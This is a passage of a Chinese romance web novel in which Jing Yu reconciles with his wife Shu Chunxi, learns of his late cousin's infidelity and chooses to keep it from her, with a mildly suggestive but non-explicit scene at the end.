舒纯熙阖上了又在流泪的眼睛,心里的思绪已经不受控地纷乱了起来,前言不搭后语地设想了起来,所有可能的、不可能的都因为心底那些日积月累的委屈而搭在一起。 她哽咽着,张开嘴用牙狠狠地咬在敬渝的肩膀上面。 其实她也并不像自己先前说得那么果决坚定,并没办法把跟他的回忆就此归还给尘埃世界里飘洒的风。 她不是一定要怪他要怨他要恨他,而是在经年累月的生活里面,她的那些心情终究还是变了质,做不到自己想象的那样坦荡潇洒。 她还是一定要找到一种情感安放在他们两个之间,所以她才开始恨他。 恨他像一颗竹子般空心,恨他沉默寡言、清冷淡漠,恨他从没亲口说过爱自己的话。 舒纯熙回想过他们之间的事,在一起长大的过程里,是她先喜欢上他的。 她是一个任性又骄傲的人,敬渝冷淡严肃没有关系,她可以主动追着他跑。 两家有口头上的婚约,虽然没有正式举行过订婚仪式,在意识到自己喜欢上敬渝之后,舒纯熙很快就以“未婚妻”的身份自居了。 此后,敬渝不得招蜂引蝶,因为他是她的。 男人也惯着她,任何她想要从他这儿弄到的东西,就算要费点功夫,最后也没有得不到的。 她闹,他惯着。 那时候她以为这就是恋爱该有的样子。 如果舒家没有出事,大概他们会维持这样的相处模式,直到结婚,至于往后怎样,舒纯熙也没担心过。 可事情并没有那样发展。 等到她忽然置身于惶恐不安的境遇之中时,她要面临许多前所未有的问题。 比如他们是直接成为未婚夫妻的,在这之前,其实少了一个正式的告白。 比如敬渝从来没有直言过喜欢跟爱,他只回应过关于以后生活的规划,但她迷茫了,他对自己的宠溺是只给自己的,还是因为她是他的未婚妻。 如果他的未婚妻换成别人,他也会这么对那个女生么? 是他在感情之中,就是会这样吗? 舒纯熙不知道了,后来的两年里,这个答案走向了另一个极端,那就是敬渝大概也不是爱她,他只不过是个还不错的男人,对待女生有绅士风度,仅此而已。 然后现在,他跑过来说他喜欢她,说那些从前他根本不会说的话。 她心里的旧账便又开始翻起来。 他们最好的情况,大概就是不要再纠缠、不要再往来,那样她就心安理得地与他相忘于江湖。 可能会有一点遗憾,但那一点遗憾也是凄美的,至少他们没有沦落到面红耳赤的难堪地步。 但他却非要纠缠,非要有往后。 舒纯熙视线模糊,牙根用力,耳边是男人压抑着的呼吸声。 终于,她松开嘴,下颌隐约僵硬酸痛,吸了吸鼻子,将身体离开他。 敬渝咽下喉中的那声闷哼,身体上的疼痛根本就抵不上心中的钝痛,他甚至觉得,她还愿意给他一点生理上的痛,都是在给他机会。 这样他反而还能好受一点。 男人满目悲伤地追上去,伸手捧起爱人的脸,俯身凑近,去亲吻她的双唇。 “对不起纯熙,我爱你,我爱你,我应该早点跟你说的。 “我真蠢,我以为只要对你好,只要予取予求,只要想着你、念着你就够了,我以为我们这样相处是没有问题的。 “对不起纯熙,我爱你,我应该告诉你的。都是我不好。” 是他不好,是他长久地享受了小太阳对自己的热情追逐,却没有考虑过她是不是也会疲惫。 是他像个闷葫芦一样,没有给够她安全感,才让她不敢全身心地依赖自己。 敬渝的心里早已涌起一种无处安放的情绪,像泉涌般将他整个人的身心都给彻底湮灭。 身躯里只余心脏跳动的寂静之声,他觉得自己正在逐渐变得无比渺小。 甚至,她从一开始就没想过非要他娶她,那些背后蜿蜒曲折的东西她懂,所有的一切她都明了。 她斩断和自己的一切,一直都没有回头,不仅仅是因为已经决定放下他,甚至,在她做这个决定之前,她还在替他着想着。 他的纯熙虽然比自己还要小上两岁,但她在这段感情里面,比他成熟多了。 她喜欢他的时候,就追着他给他所有的热烈美好,到了该说再见的时候,她也没有流连,做了一个其实最不任性的选择。 她用最后一次“赌气”,成全了他们之间的感情,和他对敬家需要负有的责任。 那么剩下的一切苦痛难过,就只能由她自己咽下去了。 佳人如斯,而他却第一次如此清楚地看明白这颗蕙质兰心,无可避免地生出一种自惭形秽来。 “对不起纯熙,我是个混蛋,我真是个混蛋……我根本配不上你对我这么好,对不起,对不起……” 唇从她嘴边移开,男人拥上去,将她的头紧紧搂在胸膛上,指尖颤抖,用力的同时却又怕弄疼怀里的人,泪珠啪嗒低落她发顶,又低头吻去。 “我是混蛋,纯熙,我不配,我不值得你对我这么好。” 心痛到难以自抑,身体循着她的气味靠近着她,好像只有遵循动物的本性,才能在这一方压抑到极致的天地里找到归处。 男人捧起她的脸,迷乱地凑上去吻她,虔诚衷心无比,动作小心翼翼,如同对待一件绝世珍宝。 吻她洁白光滑的额头,吻她轻颤的眼皮,吻她高挺小巧的鼻尖,吻她可爱的双颊,吻她抿着悲伤弧度的嘴巴,吻她单薄的下颌。 最后,又吻回那张唇。 舒纯熙闭着眼,感受得到男人笨拙地在描绘自己的唇形,带着试探的不安,咬她的动作,却又带着点狠厉的强势。 喉咙溢出一声低哼,她张开唇关,流着泪的同时,放他进来,沉默地回应起了他。 男人低头抱着她接吻的姿势,让她有些吃力,舒纯熙不得不使劲儿仰起头颅,在逐渐急切的动作里愈发用力。 一种说不清道不明的情绪推搡着她去回应敬渝。 到最后,她也分不清到底是心中的委屈压过了欲/望,使她不得不去抓住些什么,才能填满心中的大洞。 还是欲望终于战胜了那份溢满出来的委屈,任由她在这一刻放纵深陷了下去。 两人尽情纠缠,各自流泪,湿润的触感糊满彼此的面,忍不住动/情地发出愉悦的低呼。 敬渝喉头滑动,强忍着离开了舒纯熙。 怀中的女人既而睁开明眸,有些迷茫地看着自己。 他抚了抚她肩后的黑发,伸手将她抱起,温柔地平放到床上。 然后覆过去,撑在她面前,再次低头吻她。 只不过这一次,他只是先单方面清浅地啄了她一口,然后凑上去将她双唇分开,用牙将她的下唇咬起,轻轻地磨动着。 就像一只用口中尖牙叼着小白兔的大灰狼,不肯松开口,但也始终顾忌着没有把她的皮肤给咬破。 而后再是上唇。 想亲又亲不到,女人难耐地睁开眼睛,寻到他闪着一点不同寻常的光的眼神,心中一烫,不知所措地抬起一只脚踢了一下,很快就被敬渝用腿制住。 原先抵在身侧的双手没由来地感到慌张,抓紧了身下垫着的被子单面,趁着他总算松开口的空当,溢出一点气音,小声问: “你,你干什么?” 男人的手肘撑在她身侧,伸手将她耳边的碎发拢了拢,嗓音沙哑,从喉中滚出一声声急促的浊重呼吸,平复得差不多之后,才郑重地对她说: “纯熙,你再给我一次机会吧。我发誓,这辈子绝不会再让你受一丁点的委屈,也绝对不会再让你为我流一滴眼泪。若违此誓,就叫我孤独终老,不得好死。” 第44章 舒纯熙眼疾手快地伸出手把他嘴捂住,心砰砰跳起来,目光躲闪地望向天花板,慢吞吞地说: “你说什么乱七八糟的,如果真有一天……怎么样了,那我们分开就好了,不要诅咒对方,没这个必要的。” 她是怨他不知道该表达自己的爱,但是也没有叫他矫枉过正,非要发毒誓来跟自己表白啊。 另一边的敬渝已经牵起唇角,因为心中正逐渐涌上来将他淹没的欣喜。 她因思考着用词而皱起眉头后,终究说出来一句“如果真有一天”,这不就是证明他们之间还有以后的意思吗? 她是愿意再给他一次机会的,她没有拒绝…… 敬渝想着,望着舒纯熙的视线就渐渐被湿润蓄满了,竟然只能看得见她模糊的样子,有些难为情地偏了偏头。 女人浅浅地笑出了声,抬起手,在那几滴泪珠彻底滴落下来之前,用睡袍的衣袖替他擦了擦眼泪。 樱桃小嘴微微翘着,好像有点看不起他了,扬着声音嘀咕了一句, “你哭什么哭?” “我,我就是、太高兴了。” 敬渝有点羞愧地眨了眨眼,伸出拇指也擦了擦她的眼尾,勾唇小声说: “你看,你也都成小花猫了。” “哼。” 身下人打了一下他的手臂,想从他身下爬起来。敬渝便转过身先坐起来,然后扶了舒纯熙一把。 看着她在床上坐好后,男人又从身后轻轻地抱过去,双手穿过舒纯熙的臂弯,将她的后背裹在自己身前,头也向前抵在她的肩膀上。 敬渝也不知道自己是怎么想的,但就是想把她拥在怀里,只有真真切切地感受到她的存在,好像才会心安。 原本在心里很少有太多情绪变动的人,如今也患得患失、小心翼翼了起来。 那些他从前根本就做不出来的许多举动,如今也鬼使神差地开始了尝试,每日做的都是厚脸皮的事情。 但如果,让他变化的这个人是舒纯熙的话,好像也没有什么难以接受的了。 他只恨自己懂得的太晚了,时至今日才彻底醒悟,其实他真的不怎么明白应该如何去爱一个人。 只不过,过去的她对自己太好了,他所缺少的情感炙烈的那部分,也被她大大方方地接纳宽容。 但,如果有一天她不再愿意包容自己,一下子收回她的那些主动的善意,那他们的关系也就会陷入僵局之中。 这件事,自从舒纯熙从波利回来,他就深有感触,常常觉得自己拿她丝毫没有办法。 如同一个运行自如的魔术法阵,突然失去了泉眼法器那样,会彻底变成一堆废铜烂铁。 而纯熙给出的爱,才是他们从前关系里面,那个最重要的泉眼…… 但自己竟然到今天,才想明白。 如同大狼狗在主人的腿边轻蹭一般,敬渝的下颚在女人的肩膀上轻轻磨动了一下,在心里默默地想。 而被男人抱在怀里的女人有些僵硬,刚刚被他平放在床上,她其实感觉得到,或许他……但是现在这个拥抱温温柔柔的,好像又并没有那种意思。 一想到那件事,舒纯熙心里没由来得一阵慌乱。 如果刚刚他真的要怎样,她可能有一瞬间的冲动会去接受他。 但是冷静下来之后,让她好好去想一下,她发现自己其实不太想。 性/爱对于她来说,完全是由敬亭定义给她的,所以在她的心里,这件事伴随着侮辱、羞辱、屈辱等所有的不好的情绪。 是一个女人跟一个男人在赤裸相对时,明明需要他的一点怜惜,而对方却在你敞开身体后扎上最致命的一刀。 就这样想了一下,舒纯熙已经不适起来,干巴巴地将敬渝搭在自己小腹前的两只手掌拆开,自顾往旁边移了移。 背对着敬渝的脸没有转过来,双手抻在身侧,那张肩背看上去有种说不出的倔强,还有落寞。 敬渝不知道怎么了,朝着她那边移了一点,但克制着自己的双手,没有贸然去触碰舒纯熙。 只是用一只手护在她身后,用尽量温和的语调询问她: “怎么了纯熙,你哪里不舒服吗?” 舒纯熙不知道该怎么解释自己现在的情况,僵硬地将一只撑在床上的手抬起来,手背向上翻过来,垂下双睫看了一眼。 她的手心上生出冷汗,而整个身体也都如同失去了温度一样。 没有回头把自己的反应露给敬渝看,只是低着头,用尽量平静的语气说了一声: “我没事。” 这三个字在敬渝听起来有点古怪,语调平平,仔细一想,跟今天他们两个说过的所有话的语气都不一样。 就仿佛她又平静了下去,疏离了开来,像之前的那些日子一样。 仿若他们从来就没有在这一夜,相拥哭泣过。 风平浪静之后,她又只留给他一个背影。 敬渝静默着,朝她靠近了一些,先是伸出一只手轻轻地搭在她背上,确认她已经感知到自己的动作、并且没有抗拒之后,才又抱上去,双手揽在女人身前。 怀里的女人没有什么反应,几乎默许了他的动作。 在心里暗自松了一口气,男人才偏过脸,看舒纯熙凝着的双眸,他们一前一后坐着,身体依靠得很近,近到敬渝并不能看清她变得苍白的脸色。 但她十分僵硬的躯体,乃至于结了冰霜一样的磁场,都昭示着她现在心绪的不宁。 敬渝拥了她一会儿,忽然就凑上去亲了一下她的左脸。 一声皮肤相触又分开的响声在房间里冒出来,舒纯熙扯了扯唇角,伸手反过来覆住敬渝的手背,低下头,声音里透露出疲惫,慢慢地对他说: “我不想做。” 男人愣怔了一下,想明白之后才缓缓哑然失笑,将自己偏过去的头收回来,脖子朝她的脖颈旁凑近贴在一块儿。 然后他抱着怀里的人,带着她的上半身朝着左右两边,规律地摇晃了起来,就像一大一小两只不倒翁。 舒纯熙被他这幼稚的动作弄得六神无主,便是一开始再怎么沉浸在先前的情绪里面,也不得不分出心神来应付他,反而生出点烦躁的情绪,扭过头要去寻敬渝的眼睛。 嘴嘟起,不满地说: “你干嘛啊……” 对上的是一双带着促狭的眼睛,她发了话,他才停下来不闹她,然后伸出手,用食指的指尖将她的两边乌发顺了顺,在她耳边悄悄地说: “可我觉得你明明有事,你有点不高兴。” 听他这话,被拥在怀里的女人才意识到,刚刚大概是她反应过度了。 他并没想怎么样,反而是更关心她的情绪。 心外面缠着的果皮剥开小巧的一片,舒纯熙和自己心里的情绪独处了好一会儿,也没有弄明白她现在的感受具体是什么。 有点酸酸的,有点涩涩的,有点难过委屈,还有点心虚羞愧。 她刚刚想的那些事,又怎么能复述给敬渝听呢? 想要惆怅惘然地叹一口气,却又因为意识到他在意自己情绪的这个举动,将那口气生生止在半途中,转而涌起一种无处抒发的酸胀。 心里面 酸溜溜的。 舒纯熙终于张开嘴,温吞极了,一个字一个字往外蹦,承认了敬渝的猜测。 “我不舒服……我难受。” “你哪里难受,要不要紧?身体难受吗?” 耳边几乎立刻就传来了回应,就连抱着她的手臂都紧绷了一点,好像整个人进入警戒状态。 她只将头垂得更低,默默地回答说: “我心里难受。” 男人总算收敛了些风声鹤唳,听明白她不是身体原因的难受,而是心里面不舒服。 有了个方向,自然才好对症下药,敬渝克制地呼出一口先前屏住的气,只是把她抱得更紧,同时在脑海里思索了一下,张开口,竟然低声哼唱起了一首歌。 敬渝平时并不怎么听歌,只能在自己为数不到的记忆里找到一首童年的歌谣,边唱边回忆着那首歌的调。 似乎还是要面子,有点担心唱得不在调上,慢条斯理地往外一句一句哼。 “摇啊摇,摇啊摇,摇到外婆桥,外婆叫我好宝宝,一只馒头一块糕。……” 这首歌他就记得这几句词,翻来覆去地唱,越唱越熟练。 怀里的人没说什么,但逐渐将后背交给了他,在他的怀中软下去。 男人清润的声音在夜晚的卧室里飘扬,唇角愈发勾起的同时,情不自禁地又带着怀里的人小幅度地要摇晃了起来,倒是很应景。 不知道唱了多久,好像耳边的声音就没有停下来过,舒纯熙总算露出一丝笑意来,忽然说: “我有点冷。” 还在哼唱着的男人听到了她开口,但两个声音交叠在一起,听得不清晰,很快停下了自己的歌,而那几个要紧的字已经跟他的歌一样戛然而止了。 如同风吹过,只留下一点扬起的衣摆。 敬渝扬着好看的眉毛,侧了头偏在妻子耳边,确认了一遍, “你刚刚说什么了,我没听清楚……” 舒纯熙从他怀里出来,转了个方向面对着他,难得耐着性子重复了一遍,说: “我冷。” 敬渝张了张双唇,似乎在思考她这句话背后的含义。好在他没有想太久,就好商好量地张开了自己的双臂,含着微笑说: “那我抱抱?” 第45章 面对面跪坐在身前的女人目光躲闪,有点不情愿地磨蹭着。 敬渝嘴角的笑凝着,鼓起勇气探身过去,抓住舒纯熙的双臂,像拔地里的萝卜那样,把她拨到了自己的身上。 两个人顺势往后朝床上一滚,男人的身体垫在底下,而被他拉着的人撞在他怀里。 寂静的房间里响起彼此的闷哼,而后又恢复平静。 待了好一会儿,舒纯熙抬起下巴,抵在敬渝削瘦但还算坚实的胸膛上,从自己的角度去看他的下巴。 似乎是不好意思,总之超级小声地说: “你回房来睡吧。” 这六个字果然给了敬渝不小的影响,她感受得到底下的“肉垫”不受控制地动弹了一下,然后两只手穿过她的腋窝,把她往上一提溜。 惊呼一声,舒纯熙就被拽到了他头顶,她只得仰着头颅,不然就要跟他面贴着面了。 ……不要脸! 舒纯熙暗骂一句,然后眼底下那人就带着笑,得意地勾起唇角,对她说: “那你亲我一口嘛。” “呵呵”一声,小猫直接俯下身在他的右脸上咬了一口,留下一圈不明显的牙印。 敬渝疼得倒抽一口凉气,两只长腿在床上无奈地蹬了一下,然后就被身上人的脚一下制住,不敢再随意动弹。 “舒纯熙你谋害亲夫!” 伸手捂住那半边脸,敬渝委屈起来,一句话没过脑子就脱口而出。 不过说完之后,他就立刻闭上了嘴,还没有等心里面那点不妥的感觉蔓延开来,就看到了舒纯熙愣神的目光。 两个人一时之间都没有再贸然开口。 好像说点什么,都有些奇怪。 这场婚姻,更像是一个能把她安然留在自己身边的幌子。 但丈夫跟妻子的身份,他自己都尚且没有适应过来,想来舒纯熙只会更甚。 最后,还是敬渝将一只手给抽出来,放到舒纯熙的脖子后,把她的脑袋轻按在自己的胸膛上,再搂着她躺好,默不作声地抚摸起了她的脊背。 从前,只有妈妈才会在拥抱的时候,对舒纯熙做这个安抚的动作。 她不知道敬渝是从哪里学来的,但总之,现在又多了一个人会这样照顾自己。 窝在敬渝的怀里,她迷迷糊糊地想,迟缓地进入了梦乡。 意识到将人给哄睡了之后,敬渝又抚了她一会儿,才停下规律的动作,悄悄地将手抽回来,下了床。 然后探身把睡熟的女人给抱了起来,转了个方向,将她好好安置在床上,替她掖好被子。 睡梦里的女人难得舒展着眉目,只是试图眨动起来的双睫昭示着她正在梦里遇见什么,也不知是美梦还是噩梦。 舒纯熙的双唇微微张开,因吐气,中间形成一个椭圆的小口,看上去可爱极了。 敬渝撑在床边看了她一会儿,眼尾染笑,低头吻了吻她的唇。 。 第二天,舒纯熙是在敬渝怀里醒过来的。 她睡觉不习惯拉上窗帘,便看得见外面天光大亮,光线透过露台投进整个卧室,把一切都照成一种淡黄色的明亮,看上去很清新。 女人在怀里一动,拥着她的男人就也醒了,环绕在她腰间的双臂尝试着动弹了一下,底下那只手臂的大臂显然麻得不能动了。 他没有克制,“嘶”的发出一声气音来。 怀里的小脑袋动了动,身体转了个方向,探头好奇地去望他, “怎么了?” 敬渝从来没觉得清晨醒来是这么一件美好的事情,即使是在一边手臂酥麻得让人觉得失去了对身体的控制权的情况下。 整个人因为意识到怀里的人是她之后,就已经被一种泛着神圣圣洁的光芒照耀,从心口里涌出源源不断的满足和感动来。 勾起的唇角昭示着掩饰不住的喜悦,敬渝用另一只手揉了揉舒纯熙的发顶,低声说: “纯熙,我的手好像麻了。” 舒纯熙原本舒展的容颜好像皱了一下,很快从床上爬起来,好让他底下的那只手臂不再被自己压着。 女人穿着有点凌乱的睡衣在他手臂旁跪坐着,抵着手面露纠结地盯着他的手腕,看上去很是紧张。 其实她也不知道自己为什么被敬渝搂着睡了一夜,她睡觉一向很安分,别不是昨天晚上他自己靠过来的吧? 敬渝等着手臂感官回笼的同时,抬起眼皮子好整以暇地观察着女人的反应,笑了声安慰道: “我好像没事,缓一下就好了。” “噢。” 依旧盯着他在看,这一声答得有点敷衍。 敬渝觉得这样的舒纯熙可爱极了,就像以前那样鲜活。尝试着动了动手臂,男人撑着起了床,倾身过去,用食指勾了一下她小巧的鼻子,含着笑说: “我没事了。” 舒纯熙转过身,率先下了床。 敬渝则跟在她身后,两个人一起走进洗手间,在洗手台前挤在一处洗漱。 。 敬渝要上班,临走前破天荒地霸道了一次,揪着她的下巴,吻了好一会儿才愿意出门。 就因为早上的这个吻,舒纯熙一直晕晕乎乎到了中午,吃完午餐后,还难得睡 了个午觉。 然后她睡醒后下楼来,就看见坐在客厅沙发上的客人。 舒纯熙认出那是敬渝的小姨。 朝着客厅走过去的时候,她还在回想那人背对着自己的脸是什么样。 她依稀记得,那是一个光从面相就能够看出来刻薄来的女人。 她走过去,淡淡地喊了一声“小姨”。 郑召雅轻微地皱起了眉头。 以前舒纯熙跟敬亭还没有结婚的时候,她也是跟着敬渝叫自己“小姨”,只不过今时今日再听舒纯熙叫的这声“小姨”,心里面怎么都有点不得劲儿。 她今天来,就是因为听说了敬渝跟她的婚事,特地为了见舒纯熙的。 “我今天来就是看看你的。 “毕竟我姐她没福气,生小渝的时候就难产走了,这么多年这家里,也就我这个小姨能替小渝操操心了。” 郑召雅没好气地叹了一声,没等舒纯熙回答,就拧着眉头忽然问: “听说,你跟小渝已经领过证了?” 舒纯熙在旁边坐下,双手交握在一起,放在剩下八指遮挡下的拇指指尖已紧紧揪在一起。 这种咄咄逼人的场景,令她止不住就想起两年前,敬亭给自己打电话的前一天,她同样是坐在这个客厅里,坐在这个沙发上面,听郑召雅发表她那一番让自己不要再拖累敬渝的高谈。 想着,舒纯熙小声“嗯”了一句。 郑召雅翘起二郎腿,向后仰在沙发靠背上面,很不满舒纯熙对自己的态度。 称不上毕恭毕敬就算了,连大大方方地回答长辈问话都不行。 当初这两个人订婚的时候她就不看好,也不知道姐夫是怎么想的,连自己这个亲小姨的意见都不考虑,非要跟舒家结亲。 从私心上来说,郑召雅其实更希望敬渝能娶自己夫家的一个侄女,亲上加亲多好。 那小女孩儿可比这个舒纯熙顺眼多了。 但也耐不住自己这死心眼的外甥喜欢啊。 “舒小姐,这么多年了,我也实在是想不明白,你这个人身上有什么魔力,能做到蛊惑完哥哥,还能去蛊惑弟弟。 “当然了,蛊惑完弟弟呢,你竟然还能转过头来再蛊惑哥哥。听说你们结婚的事,我还不相信,因为这实在是太匪夷所思了。” 舒纯熙瞳孔微动,盯着郑召雅看的眼神有点吓人起来。 “你可知道我们这些长辈都是不赞同你们的婚事的?但是现在谁还敢去跟小渝说,只怕再跟他提这件事,我们都要踏不进暮帆商会的大门了。” 郑召雅撇撇嘴,嫌弃地看着舒纯熙,把心里的一通火都发出来之后,才软和了一点语气,想了想,还是说: “但是小渝非要跟你结婚,我们也就睁一只眼闭一只眼吧,结都结了。我今天来就是告诉你,小渝也老大不小了,你早点给他生个孩子才是要紧事。至于生了孩子以后怎么样,你们年轻人的事我也就不管了,你听明白了吗?” 舒纯熙垂下头,面上没有什么表情,只得低低地应道: “我知道了,小姨。” 。 敬渝今天有一场推不开的饭局,尽量早地离了席,回家后先跟郑徽回了书房。 先前的那个私家侦探刚挖出来一点消息,就迫不及待地发给郑徽了。 坐在办公桌后的男人盯着两张纸还有旁边的一大叠照片,良久地出着神。 “我之前去调了家里的访客记录,两年前舒家刚出事没多久,太太到敬宅来暂住的那段时间,您小姨郑女士来过敬家一次,好像跟太太聊过天……” 郑徽查到的实在有限,斗着胆提醒了一句, “我不知道,这件事跟舒小姐去莫瑞恩尔有没有关系,你自己判断吧。” 敬渝烦躁地吐了一口气,捏了捏眉心。 郑徽闭上嘴,目光也不由得落在那堆照片上面,过了一会儿,继续说: “最上面照片上的这个女人叫Sophia,是波利红灯区的一位应召女郎,名气很大,二少爷在一年前开始捧她的场,给她买过两套高级公寓,还……” 郑徽越说越觉得自己要死了,带着一股子绝望试图把自己的存在感降到最低,但声音还是没办法维持平日里的平静,有点颤地说: “还带她在外面过过夜,不完全统计,至少有个三四次。但他好像很快就腻了,然后就换了别人,底下那些都是从狗仔那里买来的底片。” 郑徽粗略看了眼,就知道上面至少有一沓十几张照片。 也就是说,敬亭在跟舒纯熙的婚姻存续期间,出轨了至少大半年,而且对象还远远不止一个。 坐在办公椅上的敬渝垂眼看了下那照片,随手一翻的动作里都透着一种想杀/人的死寂。 想以手覆住口鼻,捂住自己的手不受控制地颤抖了一下,然后被他刻意地压制了下去。 男人费解地眨了眨眼,抬头用一种透着迷茫的眼神跟郑徽对视。 敬亭怎么会出轨? 他为什么要出轨? 他不是喜欢舒纯熙的吗,不是非她不娶、此生挚爱吗? 敬渝在脑子里面回想着从前,那些从他嘴里吐出来的真心告白。 那时候,那个会露出八齿笑的堂弟在他面前说: “大哥,我知道你以前对纯熙很好,但是我也不比你差,你看着吧,我跟纯熙一定会很幸福的。” 那时候他听在耳里,满心苦涩,但敬亭眼底的笑意和希冀却是真真切切的啊。 他甚至还欣慰过,这话刺不刺伤我只是其次,重点是敬亭也爱纯熙,他的爱未必比我少,那就很好了,纯熙同样会幸福。 即使那个给她幸福的人不是自己。 他在理智上面祝福他们,至于国内的这些事,就交给自己来扛就行。 他的纯熙只要幸福就好。 敬渝摇了摇头,一对长长的桃花眼底浮上未满眼眶的晶莹来,摇了摇头,不敢相信地说了一句, “不可能,敬亭为什么会出轨?” 不,这甚至都不能称之为是出轨,这是包/养情人,这是出去嫖/娼啊。 难道在他的心里,他的妻子是可以和外面那些人相提并论的吗? 他为什么要出轨呢? 他已经娶了舒纯熙,已经娶了他最爱的女人,他已经赢了,他已经是最大的赢家了不是么?! 那他为什么还要那样做?为什么那样对他的妻子? 双手捂住口鼻,不可置信地揉了揉。 如果是自己娶了舒纯熙,他一定不会背叛她,他有她一个就完全足够,这辈子都不会动任何歪心思的。 敬渝想着想着,只觉得毛骨悚然,背后冷汗迭起,无论如何都不能说服自己相信这件事。 这真的太匪夷所思了。 太可笑了,不是吗? 敬渝无声地勾起唇,露出一个似笑非笑的弧度,然后嘴角又拉下去,脸沉着。 如此反复了几次,他才好像实在受不了了一样,双手手肘撑在桌面上,额头低下去磕了磕冰凉的桌面。 然后男人踢开椅子站起来,走到了郑徽面前,伸出手用了很大的努力,克制着将手拍在郑徽的肩上,说: “这不是真的,这是不可能的,对吧?你骗我,你跟我开玩笑的。” 郑徽不敢直视敬渝的眼睛,低下头盯着地板,没有回答。 桌上的就是真相,这个私家侦探他们用了很多年,一向严谨,只是挖东西需要的时间要长一点。 老板只是需要一点时间,才能彻底接受事实。 过了一会儿,敬渝茫然地收回了手,插着腰在书房里来回踱步,又问: “他为什么要出轨呢,他不知道那样会伤纯熙的心吗,他不知道吗,他没有良心的吗?” 郑徽也不知道该怎么回答。 事实摆在那里,问为什 么大概也没有什么意义,事实就是敬亭已经这么做了,有任何动机也并不是能替他解释的理由。 “敬总,这件事太太知道吗,你要告诉太太吗?” 郑徽有点干巴巴地说了一句,寄希望于这件事展现出来的唯一的好处。 那就是原本舒纯熙不愿意全身心接受敬渝,可能是因为忘不了上一段感情,更何况敬亭极有可能还是为了救她才死的。 但如果她知道了敬亭的不忠,说不定就愿意放下过去,重新开始了。 虽然这么说有点不道德,但这对敬渝是一个好机会。如果他愿意,他就能够在太太面前揭露敬亭虚伪的面具,让她看清楚那是个怎样的人。 郑徽的话讲敬渝从满心满腹的慌乱里拉了回来,他抬起手做了个手势,立刻说: “不要告诉她。” 敬亭已经死了,他生前做过的那些背叛她的丑事就应该随着他一起入土。 他不会再给敬亭任何一点伤害舒纯熙的可能性。 这件事情,如果舒纯熙已经知道,那么他们没有再提她伤心事的必要。如果她不知道,敬渝想,那就算了吧,他其实并不希望她知道自己的前夫做过怎样对不起她的事情。 她会伤心,也会难过,还会痛苦的。 不要告诉她了。 敬渝宁愿她在心里还给敬亭留一个位置,以为自己的前夫是一个合格的爱人,也不想人死灯灭之后,她还要一个人去面对那种难堪的丑事。 摇了摇头,敬渝打定主意之后,反而没了之前那股子被抽了三魂六魄的样子,如同再次有了主心骨一般,走回桌子后面,把那叠照片和那两张纸好好地装回文件袋里面。 而后,走到墙边的碎纸机里,将整个文件袋塞进齿轮之中,静静地看着那些东西被机器彻底撕碎销毁。 “还有别的消息么?” 男人转身走回来,耷拉着眼皮子,漫不经心地问了一句,得到否定答复之后,才继续说: “你再找几个人,分别去查,我要知道纯熙在波利的所有事。” 郑徽走出房门时,正好看见远处一个女人娉婷地走走廊那头过来,应该是刚刚下楼就往这边走,正是舒纯熙。 两个人在道中遇上,舒纯熙冲郑徽礼貌地笑了一下,问: “敬渝在书房吧?” “是的,敬总在里面,太太。” 于是舒纯熙点点头,经过郑徽,往书房去了。 舒纯熙一般在主楼里,穿的都是家用的平底拖鞋,但今天却踩了一双银色高跟鞋,身上的则是一件收腰长款风衣,头发卷了,涂了口红。 刚刚说话时,郑徽好像还闻到她身上喷的香水味,男人回头看了一眼那身影,总觉得哪里有点古怪。 敬渝坐在椅子上面,想事情想地陷进去时,以为是郑徽失而复返,但推开门进来的却是舒纯熙。 这还是她回来之后,第一次主动踏进他的书房。 敬渝有些不知所措,连忙从椅子上站起来,根本顾不上计较舒纯熙没有敲门就进来的举动,反而是目光在书房里四下一扫,觉得书房现在好像有点乱。 “你怎么来了?我刚准备回房呢。” 敬渝去迎舒纯熙,绕到她身前去牵她的手。 她今晚有些不同寻常,好像特意打扮过。 “纯熙,你今晚,很漂亮。” 想了想,敬渝觉得自己要把这句话告诉她。 果然,听见他说的话后,女人的脸泛起了红,垂着眼有点害羞地避开他目光,只不过摆开他牵自己的手,从男人垂在身侧的臂弯里穿过,在他身后收紧。 女人将自己的身体贴向他,感受得到男人的手也放在自己腰背后,顺势揽住了他。 “你怎么这么晚才回来?” 语调里有些委屈巴巴,似乎在控诉他的晚归。 敬渝有点愧疚,即使打电话告诉她自己晚上有饭局,但是没能按时回来陪伴她,确实是自己的错。 “抱歉纯熙,我,” 拧着眉正想解释,怀里的女人已经仰起头,在他洁白的衬衫上印了一个唇印。 男人的话不知道该不该再说了,那只是印在贴着胸膛的坚实面料上的一个吻,已经叫他心猿意马,抱着她腰身的手有点紧绷起来。 舒纯熙无声勾了下唇,收回自己的手,撑在敬渝的双臂上,踮脚往上亲,每隔上一点距离,就用自己的唇脂在敬渝的身体表面印下一个吻痕。 起先是那件白得晃眼的衬衫,然后到了他皮肤裸露的地方,喉咙下面的皮肤,在后面,就是他的喉结。 舒纯熙的唇瓣按上去的同时,男人抑制不住地滑动着喉结,与她的双唇亲密相贴的同时仿若波浪般共舞几息。 心跳怦然,双拳攥紧,男人的呼吸急促起来。 女人的唇则继续向上,在他下巴底下伸舌舔了一下,感受到男人周身的僵硬和抖动后,最后将自己的唇印印在敬渝紧闭的双唇上。 小小的一枚唇印,盖不完他的两片唇瓣,但染上一点鲜红的颜色,竟然让敬渝看上去有种被蹂躏的美感。 清润淡漠的面颊上也破天荒染上红尘颜色。 毫无疑问,禁锢着自己腰身的双臂滚烫炙热,昭示着他已没打算让她抽身。 男人眼底染上欲色,仿佛泛着火光,低头与她额头相处,用浊重的声音低低地叫她的名字。 “纯熙。” 舒纯熙“唔”了一声,说: “去沙发那边。” 敬渝于是便带着她去了沙发,只是到了跟前,女人忽然间拨开他的手,示意他先坐下。 屏住呼吸的男人眉心暗跳,听话地坐在长沙发的一边。 而站在跟前的女人平地脱下那双高跟鞋,光着脚踩着地毯朝他走了过来,俯下身,扶着他双肩坐在他身上。 敬渝对她这样的坐姿简直已经不陌生了,呼吸不争气地紊乱起来,目光不敢再朝她望过去,嚅动了一下唇,低低地问: “纯熙,你今天晚上有点不一样,你……” 舒纯熙狡黠地笑了一下,伸手捏住敬渝的下巴,将他的头扭过来跟自己好好地对视,妩媚地说: “确实不一样。” 她松开捏他下巴的手,又去捉他的手腕,将他僵硬无比的手抬起来,放在自己的风衣纽扣上面,示意他来帮自己解开。 舒纯熙身上的这件风衣有左右两排纽扣,中间还有一条系得很紧的系带,敬渝上手解扣子的动作甚至有点哆嗦,重复了两三次才把那颗扣子解开。 